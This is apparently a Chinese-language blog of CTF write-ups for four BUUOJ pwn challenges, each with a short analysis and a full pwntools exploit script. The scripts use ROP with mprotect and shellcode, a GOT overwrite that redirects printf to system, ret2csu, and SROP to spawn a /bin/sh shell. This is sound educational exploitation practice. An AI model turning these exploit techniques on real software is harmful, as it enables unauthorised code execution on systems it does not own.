BUUOJ 部分pwn题解

此处会收录笔者做题中遇到的一些有趣的题

被用于其他博客例题的题目将不会在此重复收录

1. inndy_rop

分析

  • 一个静态编译的简单栈溢出
  • 方法很多,可以用ROPgadget构建ROPchain,从而getshell。但该方法较为复杂
  • 也可以先调用mprotect,将data段的权限变为RWX,写入shellcode并执行。该方法较为简单
  • 可以使用pwntools里自带的ROP模块,事半功倍

mprotect函数,妙用多多

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding: utf-8 -*-
import sys
from pwn import *

ELFname = "./rop"

if len(sys.argv) > 1:
io = remote("node3.buuoj.cn", sys.argv[1])
else:
io = process(ELFname)

sl = lambda content : io.sendline(content)

# 由于程序是gets读取,可能会发生\x0a截断,故不能使用包含\x0a的ROP链
rop = ROP(e, badchars='\x0a')
rop.raw(cyclic(0x10))
rop.mprotect(0x080EA000, 0x1000, 7)
rop.read(0, 0x80EAF80, 0x100)
rop.call(0x80EAF80 + 8)

sl(rop.chain())
sl(cyclic(8) + asm(shellcraft.sh()))

io.interactive()

2. [BJDCTF 2nd]secret

分析

  • 在输入name的函数中有个溢出点
    img
    并且刚好只能溢出到 gameTimes(猜数计数器的指针)
    img
  • 发现每次输入secret时,gameTimes所指向的位置都会减一
    img
  • 程序结束部分会调用一次printf函数,并且printf函数至始至终只被调用了一次
  • 查看程序尚未延迟绑定时的GOT表,发现got[‘system’]指向的plt表位置,比got[‘printf’]指向的位置要低,并且只低了0x10字节
    img
  • 所以我们可以通过输入name函数的溢出漏洞,修改gameTimes,使其指向got[‘printf’]。然后进行0x10次猜数,使got[‘printf’]减去0x10,指向plt[‘system’]
    并在第十次猜数时故意失败,从而执行system(buf), 进行任意命令执行

printf(buf) 可不只是格式化字符串漏洞。将got[‘printf’]修改为plt[‘system’]后,也可以RCE

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding: utf-8 -*-
import sys
from pwn import *

ELFname = "./secret"

if len(sys.argv) > 1:
io = remote("node3.buuoj.cn", sys.argv[1])
else:
io = process(ELFname)

e = ELF(ELFname)
sla = lambda msg, content : io.sendlineafter(msg, content)
def debug(msg = ""):
if len(sys.argv) == 1:
gdb.attach(io, msg)

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
# context.log_level = 'debug'

sla("What's your name?", flat('/bin/sh\x00', 0, e.got['printf'])[:-5])

sla("Secret:", str(0x476B))
sla("Secret:", str(0x2D38))
sla("Secret:", str(0x4540))
sla("Secret:", str(0x3E77))
sla("Secret:", str(0x3162))
sla("Secret:", str(0x3F7D))
sla("Secret:", str(0x357A))
sla("Secret:", str(0x3CF5))
sla("Secret:", str(0x2F9E))
sla("Secret:", str(0x41EA))
sla("Secret:", str(0x48D8))
sla("Secret:", str(0x2763))
sla("Secret:", str(0x474C))
sla("Secret:", str(0x3809))
sla("Secret:", str(0x2E63))
debug("hex 0x46D080")
sla("Secret:", str(0x0))

io.interactive()

3. ciscn_2019_n_5

分析

  • NX关闭,很明显的一个读取并执行shellcode的题目
  • 但这题有趣在:当NX关闭后,其bss段是可执行的
    粗略观察了一下内存布局,发现只要关闭了NX,所有可读可写的段 都是可执行的
    以后要是有机会还是得研究一下NX的实现
    img

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='amd64',os='linux')

io = process("./ciscn_2019_n_5")
shellcode = asm(shellcraft.sh())

io.recvuntil('tell me your name')
io.sendline(shellcode)
payload = flat(cyclic(0x28), 0x601080)
io.recvuntil('What do you want to say to me?')
io.sendline(payload)

io.interactive()

4. ciscn_s_3

易知信息

  • 分析文件,程序调用了sys_read,读取0x400字节,以及sys_write,输出0x30字节
  • 有明显的栈溢出
  • 程序中给出gadget,分别是mov rax, 0Fh ; retnmov rax, 3Bh ; retn。对应到函数,就是sys_rt_sigreturnsys_exec

解法一 — 使用CSU构建ROP链

分析

  • vuln函数中sys_write会泄露出栈地址,所以我们可以通过计算偏移,获得输入数据的起始栈地址

  • 我们可以尝试ret2syscall,执行sys_exec('/bin/sh', 0, 0)来获取shell,但有几个前提

    %rax = 0x3b, %rdi = binsh_addr, %rsi = 0, %rdx = 0

  • 但是经过一番查找,发现没有%rdx对应的gadget, 所以常规构建ROP链的解法不可用
    不过我们可以利用__libc_csu_init里的gadget来完成我们的目的

    • __libc_csu_init 可用gadgets源码

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      loc_400580:
      mov rdx, r13
      mov rsi, r14
      mov edi, r15d
      call qword ptr [r12+rbx*8]
      add rbx, 1
      cmp rbx, rbp
      jnz short loc_400580

      loc_400596:
      add rsp, 8
      pop rbx
      pop rbp
      pop r12
      pop r13
      pop r14
      pop r15
      retn
  • 我们可以通过 __libc_csu_init 下的一堆的pop指令,将对应寄存器赋值,然后ret到上面的loc_400580
    通过其中对%rdi、%rsi、%edx的赋值来实现对函数参数的控制,并通过call qword ptr [r12+rbx*8]来执行目标代码
    除了这个,我们必须在输入数据里构造这样的一个类init_array的数组,并让%r12指向它,从而执行我们的目标代码

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-
from pwn import *
io = process("./ciscn_s_3")
# io = remote("node3.buuoj.cn", 25033)
e = ELF("./ciscn_s_3")

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
context.log_level = 'debug'

rax_sys_exec_addr = 0x00000000004004e2
pop_r12_r13_r14_r15 = 0x000000000040059C
call_gadget_addr = 0x0000000000400580
syscall_addr = 0x0000000000400501
pop_rdi_addr = 0x00000000004005a3

# gdb.attach(io)
payload = flat(cyclic(0x10), e.symbols['vuln'])
io.sendline(payload)
msg = io.recv()
stack_addr = u64(msg[32:-8]) - (0x128 - 0x010)
log.success("str addr: " + hex(stack_addr))

payload = flat('/bin/sh\x00', cyclic(0x8),
pop_r12_r13_r14_r15, stack_addr + 64, 0, 0, 0, call_gadget_addr, # ROP chain
rax_sys_exec_addr, pop_rdi_addr, stack_addr, syscall_addr) # init_array alike
io.sendline(payload)

io.interactive()

解法二 — SROP Attack

分析

  • 和解法一有点不同,我们可以通过SROP来sys_exec(’/bin/sh’, 0, 0)
  • 不过在此之前,还是需要先泄露栈地址出来。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
import sys
from pwn import *

if len(sys.argv) > 1:
io = remote("node3.buuoj.cn", 27047)
else:
io = process("./ciscn_s_3")

#libc = ELF("buu_libcs/ubuntu19-64-libc-2.29.so")
e = ELF("./ciscn_s_3")

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
# context.log_level = 'debug'

rax_sys_rt_sigreturn_addr = 0x00000000004004da
syscall_addr = 0x0000000000400501

payload = flat(cyclic(0x10), e.symbols['vuln'])
io.sendline(payload)
msg = io.recv()
stack_addr = u64(msg[32:-8]) - (0x128 - 0x010)
log.success("stack addr: " + hex(stack_addr))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_addr
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr + 0x30
frame.rip = syscall_addr

# gdb.attach(io)
payload = flat("/bin/sh\x00"*2, rax_sys_rt_sigreturn_addr, syscall_addr, frame)
io.sendline(payload)

io.interactive()

参考

随笔

  • 对于这两种不同解题方式的对比,我们不难看出,SROP所使用的gadget比常规ROP更少,但同时也更难找到。
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~